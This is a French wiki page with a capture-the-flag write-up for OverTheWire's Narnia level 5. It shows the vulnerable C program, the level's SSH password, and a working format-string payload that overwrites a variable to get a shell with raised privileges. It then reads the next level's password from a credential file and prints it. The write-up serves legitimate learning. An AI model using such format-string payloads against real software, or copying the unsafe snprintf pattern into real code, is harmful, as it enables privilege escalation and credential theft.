Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
| — |
overthewire_narnia:level5 [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| + | <code> | ||
| + | ssh narnia5@narnia.labs.overthewire.org | ||
| + | pass : faimahchiy | ||
| + | </code> | ||
| + | |||
| + | <code C> | ||
| + | #include <stdio.h> | ||
| + | #include <stdlib.h> | ||
| + | #include <string.h> | ||
| + | |||
| + | int main(int argc, char **argv){ | ||
| + | int i = 1; | ||
| + | char buffer[64]; | ||
| + | |||
| + | snprintf(buffer, sizeof buffer, argv[1]); | ||
| + | buffer[sizeof (buffer) - 1] = 0; | ||
| + | printf("Change i's value from 1 -> 500. "); | ||
| + | |||
| + | if(i==500){ | ||
| + | printf("GOOD\n"); | ||
| + | system("/bin/sh"); | ||
| + | } | ||
| + | |||
| + | printf("No way...let me give you a hint!\n"); | ||
| + | printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); | ||
| + | printf ("i = %d (%p)\n", i, &i); | ||
| + | return 0; | ||
| + | } | ||
| + | </code> | ||
| + | |||
| + | Pour changer des buffers overflow, nous avons le droit cette fois ci à une petite format string :-) | ||
| + | Le but est d'écrire ''500'' sur la variable ''i'', si vous débutez en format string, je vous conseille de lire de la documentation avant ! (j'ai la flemme de détailler :-D) | ||
| + | |||
| + | L'adresse de la variable nous ai donné par le programme, ce qui va nous faciliter la tâche. | ||
| + | |||
| + | <code> | ||
| + | narnia5@melissa:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff%496d%5$n"') | ||
| + | Change i's value from 1 -> 500. GOOD | ||
| + | $ id | ||
| + | uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5) | ||
| + | $ cat /etc/narnia_pass/narnia6 | ||
| + | neezocaeng | ||
| + | </code> | ||